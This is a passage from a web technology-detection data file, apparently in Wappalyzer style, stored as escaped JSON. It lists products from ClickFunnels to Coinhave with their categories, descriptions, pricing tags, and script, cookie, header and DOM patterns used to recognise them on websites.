\"app\\\\.clickfunnels\\\\.com\",\n      \"CFSurveyParticipantID\": \"\",\n      \"ClickFunnels\": \"\",\n      \"cfAddPolyfill\": \"\"\n    },\n    \"meta\": {\n      \"cf:app_domain:\": \"app\\\\.clickfunnels\\\\.com\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.clickfunnels.com\"\n  },\n  \"ClickHeat\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"ClickHeat.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"clickHeatServer\": \"\"\n    },\n    \"scriptSrc\": [\n      \"clickheat.*\\\\.js\"\n    ],\n    \"website\": \"https://www.labsmedia.com/clickheat/index.html\"\n  },\n  \"ClickHelp\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"ClickHelp is an online all-in-one documentation solution used by software companies around the world to create user manuals, knowledge bases, FAQs, tutorials, etc., and publish them instantly in their portal.\",\n    \"dom\": [\n      \"script#dxss_CI_301868994\"\n    ],\n    \"icon\": \"ClickHelp.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://clickhelp.com\"\n  },\n  \"ClickOnce\": {\n    \"cats\": [\n      47\n    ],\n    \"css\": [\n      \"\\\\.ClickOnceInfoText\"\n    ],\n    \"description\": \"ClickOnce is a Microsoft .NET deployment technology that enables the creation of self-updating Windows-based applications that can be installed and run with minimal user interaction.\",\n    \"dom\": {\n      \"a[href='https://go.microsoft.com/fwlink/?LinkId=154571']\": {\n        \"text\": \"ClickOnce and .NET Framework Resources\"\n      }\n    },\n    \"icon\": \"default.svg\",\n    \"website\": \"https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment\"\n  },\n  \"ClickTale\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"ClickTale is a SaaS solution enabling organisations to gain visual in-page analytics.\",\n    \"icon\": \"ClickTale.svg\",\n    \"js\": {\n      \"ClickTale\": \"\",\n      \"ClickTaleEvent\": \"\",\n      \"ClickTaleGlobal\": \"\",\n      \"clickTaleStartEventSignal\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.clicktale\\\\.net\"\n    ],\n    \"website\": \"https://www.clicktale.com\"\n  },\n  \"ClickUp\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"ClickUp is a project management software suitable for businesses of all sizes and industries.\",\n    \"icon\": \"ClickUp.svg\",\n    \"js\": {\n      \"clickupCanBootstrapPromise\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/app-cdn\\\\.clickup\\\\.com/\"\n    ],\n    \"website\": \"https://clickup.com\"\n  },\n  \"Clickaine\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Clickaine is a traffic ad network that helps advertisers drive targeted traffic to their websites through various digital marketing solutions, offering a platform for publishers to monetize their traffic effectively.\",\n    \"icon\": \"Clickaine.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.clickaine\\\\.com/\"\n    ],\n    \"website\": \"https://clickaine.com\"\n  },\n  \"Clickbank\": {\n    \"cats\": [\n      71\n    ],\n    \"dom\": [\n      \"a[href*='pay.clickbank.net?cbfid'], img[width='1'][src*='hop.clickbank.net?affiliate']\"\n    ],\n    \"icon\": \"Clickbank.svg\",\n    \"js\": {\n      \"cbtb\": \"\"\n    },\n    \"scriptSrc\": [\n      \"r\\\\.wdfl\\\\.co\"\n    ],\n    \"website\": \"https://www.clickbank.com/\"\n  },\n  \"Clickbooq\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"Clickbooq is a website builder specially designed for photographers to showcase their work.\",\n    \"dom\": [\n      \"div[data-large*='//fast.clickbooq.com/']\"\n    ],\n    \"icon\": \"Clickbooq.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.clickbooq.com\"\n  },\n  \"Clicksign\": {\n    \"cats\": [\n      50\n    ],\n    \"description\": \"Clicksign is a platform offering document signing services.\",\n    \"icon\": \"Clicksign.svg\",\n    \"js\": {\n      \"Clicksign\": \"\",\n      \"endpointClickSign\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.clicksign.com\"\n  },\n  \"Clicktripz\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Clicktripz is a platform that provides innovative software solutions to serve the needs of suppliers, publishers, advertisers and travelers.\",\n    \"icon\": \"Clicktripz.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.clicktripz\\\\.com/\"\n    ],\n    \"website\": \"https://site.clicktripz.com\"\n  },\n  \"Clickx\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Clickx is a marketing analytics platform that lets users generate reports and gain insights into marketing campaigns, product pages, ROI, and more.\",\n    \"icon\": \"Clickx.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.clickx\\\\.io/\"\n    ],\n    \"website\": \"https://www.clickx.io\"\n  },\n  \"Clicky\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Clicky is web an analytics tool which helps you to get real-time analysis including spy view.\",\n    \"icon\": \"Clicky.svg\",\n    \"js\": {\n      \"clicky\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.getclicky\\\\.com\"\n    ],\n    \"website\": \"https://getclicky.com\"\n  },\n  \"ClientJS\": {\n    \"cats\": [\n      59,\n      83\n    ],\n    \"description\": \"ClientJS is a JavaScript library for generating browser fingerprints, exposing all the browser data-points.\",\n    \"icon\": \"ClientJS.png\",\n    \"js\": {\n      \"ClientJS\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/clientjs@(\\\\d.*?)/\\\\;version:\\\\1\",\n      \"/ClientJS/(?:(\\\\d.*?)/)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://clientjs.org\"\n  },\n  \"ClientXCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"ClientXCMS is a content management system that provides a drag-and-drop interface, customisable templates, user and media management, and website analytics to help businesses manage their website content.\",\n    \"icon\": \"ClientXCMS.svg\",\n    \"js\": {\n      \"CLIENTXCMSCurrency\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://clientxcms.com\"\n  },\n  \"Clientify\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Clientify is a marketing and sales automation platform designed to help businesses grow.\",\n    \"icon\": \"Clientify.svg\",\n    \"js\": {\n      \"trackerUrl\": \"analytics\\\\.clientify\\\\.net\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"analytics\\\\.clientify\\\\.net/\"\n    ],\n    \"website\": \"https://clientify.com\"\n  },\n  \"Clinch\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Clinch delivers hyper-personalized creative experiences and consumer intelligence across all channels.\",\n    \"icon\": \"Clinch.svg\",\n    \"scriptSrc\": [\n      \"cdn\\\\.clinch\\\\.co\"\n    ],\n    \"website\": \"https://clinch.co/\"\n  },\n  \"Clinked\": {\n    \"cats\": [\n      50\n    ],\n    \"description\": \"Clinked is a cloud-based platform for secure file sharing, project management, and team collaboration with client portals.\",\n    \"icon\": \"Clinked.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"a\\\\.clinked\\\\.com/(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)/standard/js/.+\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://clinked.com\"\n  },\n  \"Clipboard.js\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"Clipboard.js.svg\",\n    \"scriptSrc\": [\n      \"clipboard(?:-([\\\\d.]+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://clipboardjs.com/\"\n  },\n  \"Clock PMS\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Clock PMS is a hotel booking software designed to streamline reservations, manage guest information, and optimise hotel operations.\",\n    \"icon\": \"ClockPMS.svg\",\n    \"js\": {\n      \"clock_pms_iframe\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.clock-software\\\\.com/\"\n    ],\n    \"website\": \"https://www.clock-software.com\"\n  },\n  \"Clockwork\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Clockwork is a development tool for PHP available right in your browser.\",\n    \"headers\": {\n      \"x-clockwork-version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/underground-works/clockwork-app\"\n  },\n  \"Closure Library\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Closure Library is a JavaScript library developed by Google for building robust web applications, offering utilities for DOM manipulation, event handling, data structures, and more.\",\n    \"dom\": {\n      \"script\": {\n        \"text\": \"Copyright\\\\sThe\\\\sClosure\\\\sLibrary\\\\sAuthors\"\n      }\n    },\n    \"icon\": \"Google.svg\",\n    \"oss\": true,\n    \"website\": \"https://github.com/google/closure-library\"\n  },\n  \"Cloud Guard\": {\n    \"cats\": [\n      31,\n      16\n    ],\n    \"description\": \"CloudGuard is a cybersecurity solutions provider focused on cloud security.\",\n    \"headers\": {\n      \"cg-server-tag\": \"\"\n    },\n    \"icon\": \"Cloud Guard.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://cloudguard.ir\"\n  },\n  \"CloudCannon\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"CloudCannon is a web development platform and content management system (CMS).\",\n    \"dom\": [\n      \"[data-cms-editor-link*='cloudcannon:'], a[href*='cloudcannon:']\"\n    ],\n    \"headers\": {\n      \"cc-build-id\": \"\\\\d+\"\n    },\n    \"icon\": \"CloudCannon.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://cloudcannon.com\"\n  },\n  \"CloudCart\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"cloudcart.svg\",\n    \"meta\": {\n      \"author\": \"^CloudCart LLC$\"\n    },\n    \"scriptSrc\": [\n      \"/cloudcart-(?:assets|storage)/\"\n    ],\n    \"website\": \"https://cloudcart.com\"\n  },\n  \"CloudEngage\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"CloudEngage is a platform enabling no-code personalization for enhanced revenue and customer satisfaction.\",\n    \"icon\": \"CloudEngage.svg\",\n    \"js\": {\n      \"CloudEngage\": \"\",\n      \"CloudEngageHead\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cloudengage\\\\.com/\"\n    ],\n    \"website\": \"https://cloudengage.com\"\n  },\n  \"CloudSuite\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"cs_secure_session\": \"\"\n    },\n    \"icon\": \"CloudSuite.svg\",\n    \"website\": \"https://cloudsuite.com\"\n  },\n  \"Cloudbeds\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Cloudbeds is a cloud-based hotel management platform which includes tools for managing reservations, availability, rates, distribution channels, payments, guests, housekeeping, and more.\",\n    \"dom\": [\n      \"a[href*='.cloudbeds.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Cloudbeds.svg\",\n    \"js\": {\n      \"CloudBeds_widget\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cloudbeds\\\\.com/\"\n    ],\n    \"website\": \"https://www.cloudbeds.com\"\n  },\n  \"Cloudera\": {\n    \"cats\": [\n      34\n    ],\n    \"description\": \"Cloudera is a software platform for data engineering, data warehousing, machine learning and analytics that runs in the cloud or on-premises.\",\n    \"headers\": {\n      \"Server\": \"cloudera\"\n    },\n    \"icon\": \"Cloudera.svg\",\n    \"website\": \"https://www.cloudera.com\"\n  },\n  \"Cloudflare\": {\n    \"cats\": [\n      31\n    ],\n    \"cookies\": {\n      \"__cfduid\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:cloudflare:cloudflare:*:*:*:*:*:*:*:*\",\n    \"description\": \"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.\",\n    \"dns\": {\n      \"NS\": \"\\\\.cloudflare\\\\.com\",\n      \"SOA\": \"\\\\.cloudflare\\\\.com\"\n    },\n    \"dom\": [\n      \"img[src*='//cdn.cloudflare']\"\n    ],\n    \"headers\": {\n      \"Server\": \"^cloudflare$\",\n      \"cf-cache-status\": \"\",\n      \"cf-ray\": \"\"\n    },\n    \"icon\": \"CloudFlare.svg\",\n    \"js\": {\n      \"CloudFlare\": \"\"\n    },\n    \"meta\": {\n      \"image\": \"//cdn\\\\.cloudflare\"\n    },\n    \"website\": \"https://www.cloudflare.com\"\n  },\n  \"Cloudflare Bot Management\": {\n    \"cats\": [\n      16\n    ],\n    \"cookies\": {\n      \"__cf_bm\": \"\"\n    },\n    \"description\": \"Cloudflare bot management solution identifies and mitigates automated traffic to protect websites from bad bots.\",\n    \"icon\": \"CloudFlare.svg\",\n    \"implies\": [\n      \"Cloudflare\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cloudflare.com/en-gb/products/bot-management/\"\n  },\n  \"Cloudflare Browser Insights\": {\n    \"cats\": [\n      10,\n      78\n    ],\n    \"description\": \"Cloudflare Browser Insights is a tool that measures the performance of websites from the perspective of users.\",\n    \"icon\": \"CloudFlare.svg\",\n    \"js\": {\n      \"__cfBeaconCustomTag\": \"\"\n    },\n    \"scriptSrc\": [\n      \"static\\\\.cloudflareinsights\\\\.com/beacon(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://www.cloudflare.com\"\n  },\n  \"Cloudflare Rocket Loader\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Cloudflare Rocket Loader is responsible for prioritising over website's content by delaying the loading of Javascript until rendering.\",\n    \"icon\": \"CloudFlare.svg\",\n    \"js\": {\n      \"__cfQR.done\": \"\",\n      \"__cfRLUnblockHandlers\": \"\"\n    },\n    \"website\": \"https://support.cloudflare.com/hc/en-us/articles/200168056-Understanding-Rocket-Loader\"\n  },\n  \"Cloudflare Stream\": {\n    \"cats\": [\n      14,\n      103\n    ],\n    \"description\": \"Cloudflare Stream is a serverless live and on-demand video streaming platform.\",\n    \"dom\": [\n      \"iframe[src*='.cloudflarestream\\\\.com'], iframe[src*='iframe\\\\.videodelivery\\\\.net/']\"\n    ],\n    \"icon\": \"CloudFlare.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"website\": \"https://www.cloudflare.com/products/cloudflare-stream\"\n  },\n  \"Cloudflare Turnstile\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Turnstile is Cloudflare's smart CAPTCHA alternative.\",\n    \"icon\": \"CloudFlare.svg\",\n    \"js\": {\n      \"turnstile\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cloudflare.com/products/turnstile\"\n  },\n  \"Cloudflare Workers\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Cloudflare Workers is a serverless execution environment that allows you to create entirely new applications or augment existing ones without configuring or maintaining infrastructure.\",\n    \"icon\": \"Cloudflare Workers.svg\",\n    \"implies\": [\n      \"Cloudflare\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://workers.cloudflare.com\",\n    \"xhr\": [\n      \"\\\\.workers\\\\.dev\"\n    ]\n  },\n  \"Cloudflare Zaraz\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Cloudflare Zaraz gives you complete control over third-party tools and services for your website, and allows you to offload them to Cloudflare’s edge, improving the speed and security of your website.\",\n    \"icon\": \"CloudFlare.svg\",\n    \"js\": {\n      \"zaraz\": \"\",\n      \"zarazData\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cloudflare.com/products/zaraz/\"\n  },\n  \"Cloudify.store\": {\n    \"cats\": [\n      6,\n      93\n    ],\n    \"cookies\": {\n      \"cloudify_session\": \"\"\n    },\n    \"description\": \"Cloudify.store is a subscription-based platform that allows anyone to set up a hyperlocal quick commerce business.\",\n    \"icon\": \"Cloudify.store.png\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"React\"\n    ],\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://cloudify.store\"\n  },\n  \"Cloudimage\": {\n    \"cats\": [\n      31,\n      95\n    ],\n    \"description\": \"Cloudimage automates the transformation and optimisation of images on the fly and accelerates their distribution via the Content Delivery Network (CDN).\",\n    \"dom\": [\n      \"img[src*='.cloudimg.io/'], link[href*='.cloudimg.io/'], amp-img[src*='.cloudimg.io/']\"\n    ],\n    \"icon\": \"Cloudimage.svg\",\n    \"js\": {\n      \"ciResponsive.config.domain\": \"cloudimg\\\\.io\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cloudimage.io\"\n  },\n  \"Cloudinary\": {\n    \"cats\": [\n      31,\n      95\n    ],\n    \"description\": \"Cloudinary is an end-to-end image- and video-management solution for websites and mobile apps, covering everything from image and video uploads, storage, manipulations, optimisations to delivery.\",\n    \"dom\": [\n      \"img[src*='.cloudinary.com/'], img[data-src*='.cloudinary.com/'], link[href*='.cloudinary.com/']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"player\\\\.cloudinary\\\\.com\"\n    },\n    \"icon\": \"Cloudinary.svg\",\n    \"js\": {\n      \"_cloudinary\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"website\": \"https://cloudinary.com\"\n  },\n  \"Cloudrexx\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Cloudrexx is a proprietary content management system that provides customisable templates and built-in modules for managing content, ecommerce, events, newsletters, and more, along with tools for SEO, social media integration, and multilingual support.\",\n    \"icon\": \"Cloudrexx.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"^cloudrexx$\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cloudrexx.com\"\n  },\n  \"Cloudways\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Cloudways offers managed cloud-hosting services for WordPress sites on a cloud server where multiple copies of your content will be replicated throughout your chosen data center.\",\n    \"headers\": {\n      \"cache-provider\": \"CLOUDWAYS-CACHE-DE\"\n    },\n    \"icon\": \"Cloudways.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://www.cloudways.com\"\n  },\n  \"Cloverly\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Cloverly is an API integration for ethical ecommerce brands to help their customers offset the carbon footprint of their online transactions.\",\n    \"icon\": \"Cloverly.svg\",\n    \"js\": {\n      \"removeCloverly\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"apps\\\\.cloverly\\\\.com/\"\n    ],\n    \"website\": \"https://www.cloverly.com\"\n  },\n  \"Cluep\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Cluep's artificially intelligent mobile ad platform targets people based on what they are sharing, how they are feeling and where they go in the physical world.\",\n    \"icon\": \"Cluep.svg\",\n    \"scriptSrc\": [\n      \"cas\\\\.cluep\\\\.com\"\n    ],\n    \"website\": \"https://cluep.com/\"\n  },\n  \"Cluster CIS\": {\n    \"cats\": [\n      6,\n      53\n    ],\n    \"description\": \"Cluster CIS is a provider of business automation solutions, including WooCommerce ERP, CRM, WMS, SFA, alongside website development and e-shop construction services.\",\n    \"dom\": [\n      \"link[href*='wp-content/plugins/cluster-gtm']\"\n    ],\n    \"icon\": \"ClusterCIS.svg\",\n    \"saas\": true,\n    \"website\": \"https://cluster.gr\"\n  },\n  \"ClustrMaps Widget\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"ClustrMaps widget is a visitor tracker, designed for general web and blog use.\",\n    \"dom\": [\n      \"img[src*='clustrmaps.com']\"\n    ],\n    \"icon\": \"ClustrMaps.svg\",\n    \"scriptSrc\": [\n      \"clustrmaps\\\\.com\"\n    ],\n    \"website\": \"https://clustrmaps.com/\"\n  },\n  \"Clutch\": {\n    \"cats\": [\n      90,\n      5\n    ],\n    \"description\": \"Clutch review widgets are stand-alone applications that you can embed on your website to show your dynamic ratings and reviews.\",\n    \"icon\": \"clutch.svg\",\n    \"scriptSrc\": [\n      \"//widget\\\\.clutch\\\\.co/\"\n    ],\n    \"website\": \"https://clutch.co/content/add-review-widget-your-website\"\n  },\n  \"CoConstruct\": {\n    \"cats\": [\n      19\n    ],\n    \"dom\": [\n      \"a[href*='co-construct.com/skins'], iframe[src*='co-construct.com']\"\n    ],\n    \"icon\": \"CoConstruct.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.coconstruct.com\"\n  },\n  \"CoRover\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"CoRover is a conversational AI chatbot platform with proprietary cognitive AI technology.\",\n    \"icon\": \"CoRover.png\",\n    \"js\": {\n      \"CoRover_tag\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.corover\\\\.mobi/\"\n    ],\n    \"website\": \"https://corover.ai\"\n  },\n  \"Coachy\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Coachy is a platform for creating and selling online courses with integrated payment systems and GDPR-compliant data storage​.\",\n    \"dom\": [\n      \"iframe[src*='embed.coachy.net/']\"\n    ],\n    \"icon\": \"Coachy.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://coachy.net\"\n  },\n  \"Coaster CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:web-feet:coaster_cms:*:*:*:*:*:*:*:*\",\n    \"icon\": \"coaster-cms.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Coaster CMS v([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.coastercms.org\"\n  },\n  \"Cococart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Cococart is an ecommerce platform.\",\n    \"dom\": [\n      \"meta[property='og:image'][content*='static.cococart.co']\",\n      \"div[style*='static.cococart.co']\"\n    ],\n    \"icon\": \"Cococart.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cococart.co\"\n  },\n  \"CoconutSoftware\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"cookies\": {\n      \"coconut_calendar\": \"\"\n    },\n    \"description\": \"Coconut is a cloud-based appointment scheduling solution designed for enterprise financial services organisations such as credit unions, retail banks and more.\",\n    \"icon\": \"CoconutSoftware.svg\",\n    \"website\": \"https://www.coconutsoftware.com/\"\n  },\n  \"Cocos2d\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Cocos2d is a mature open source cross-platform game development framework.\",\n    \"icon\": \"Cocos2d.svg\",\n    \"js\": {\n      \"CocosEngine\": \"([\\\\d\\\\.]{2,})\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.cocos.com/en/cocos2dx\"\n  },\n  \"CodeIgniter\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"ci_csrf_token\": \"^(.+)$\\\\;version:\\\\1?2+:\",\n      \"ci_session\": \"\",\n      \"exp_last_activity\": \"\",\n      \"exp_tracker\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:codeigniter:codeigniter:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<input[^>]+name=\\\"ci_csrf_token\\\"\"\n    ],\n    \"icon\": \"CodeIgniter.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://codeigniter.com\",\n    \"xhr\": [\n      \"codeigniter\\\\.com\"\n    ]\n  },\n  \"CodeMirror\": {\n    \"cats\": [\n      20\n    ],\n    \"cpe\": \"cpe:2.3:a:codemirror:codemirror:*:*:*:*:*:*:*:*\",\n    \"description\": \"CodeMirror is a JavaScript component that provides a code editor in the browser.\",\n    \"icon\": \"CodeMirror.svg\",\n    \"js\": {\n      \"CodeMirror\": \"\",\n      \"CodeMirror.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://codemirror.net\"\n  },\n  \"CodeSandbox\": {\n    \"cats\": [\n      5,\n      20\n    ],\n    \"description\": \"CodeSandbox is an online code editor and prototyping tool that makes creating and sharing web apps faster.\",\n    \"dom\": [\n      \"iframe[src^='https://codesandbox.io/embed/']\"\n    ],\n    \"icon\": \"CodeSandbox.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://codesandbox.io/\"\n  },\n  \"Coffee Script\": {\n    \"cats\": [\n      12,\n      59\n    ],\n    \"description\": \"CoffeeScript is a language that compiles into JavaScript.\",\n    \"icon\": \"Coffee Script.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"coffee-?script(?:-lint)?(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://coffeescript.org/\"\n  },\n  \"Cognigy\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Cognigy is a provider of generative and conversational AI-powered customer service agents for businesses.\",\n    \"icon\": \"Cognigy.svg\",\n    \"js\": {\n      \"__COGNIGY_WEBCHAT\": \"\",\n      \"cognigyWebchatInputPlugins\": \"\",\n      \"cognigyWebchatMessagePlugins\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cognigy.com\"\n  },\n  \"Coin Currency Converter\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Coin Currency Converter is an automatic currency conversion app for Shopify.\",\n    \"icon\": \"Coin Currency Converter.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/apps/coin/coin\\\\.js.+\\\\.myshopify\\\\.com\"\n    ],\n    \"website\": \"https://apps.shopify.com/coin\"\n  },\n  \"CoinHive\": {\n    \"cats\": [\n      56\n    ],\n    \"description\": \"Coinhive is a cryptocurrency mining service.\",\n    \"icon\": \"CoinHive.svg\",\n    \"js\": {\n      \"CoinHive\": \"\"\n    },\n    \"scriptSrc\": [\n      \"\\\\/(?:coinhive|(authedmine))(?:\\\\.min)?\\\\.js\\\\;version:\\\\1?opt-in:\",\n      \"coinhive\\\\.com/lib\"\n    ],\n    \"url\": [\n      \"https?://cnhv\\\\.co/\"\n    ],\n    \"website\": \"https://coinhive.com\"\n  },\n  \"CoinHive Captcha\": {\n    \"cats\": [\n      16,\n      56\n    ],\n    \"description\": \"Coinhive Captcha provides captcha service that is simple to integrate, where your users’ devices need to solve a number of hashes, adjustable by you, in order to login or post a comment to your site.\",\n    \"dom\": [\n      \"div.coinhive-captcha\"\n    ],\n    \"icon\": \"CoinHive.svg\",\n    \"scriptSrc\": [\n      \"https?://authedmine\\\\.com/(?:lib/captcha|captcha)\"\n    ],\n    \"website\": \"https://coinhive.com\"\n  },\n  \"Coinbase Commerce\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Coinbase Commerce is a platform that enables merchants to accept cryptocurrency payments.\",\n    \"dom\": [\n      \"a[href^='https://commerce.coinbase.com/checkout/']\"\n    ],\n    \"icon\": \"Coinbase.svg\",\n    \"website\": \"https://commerce.coinbase.com/\"\n  },\n  \"Coinhave\": {\n    \"cats\": [\n      56\n    ],\n    \"description\": \"CoinHave is a cryptocurrency mining service.\",\n    \"icon\": \"coinhave.png\",\n    \"scriptSrc\": [\n      \"https?://coin-have\\\\.com/c/[0-9a-zA-Z]{4}\\\\.js\"\n    ],\n    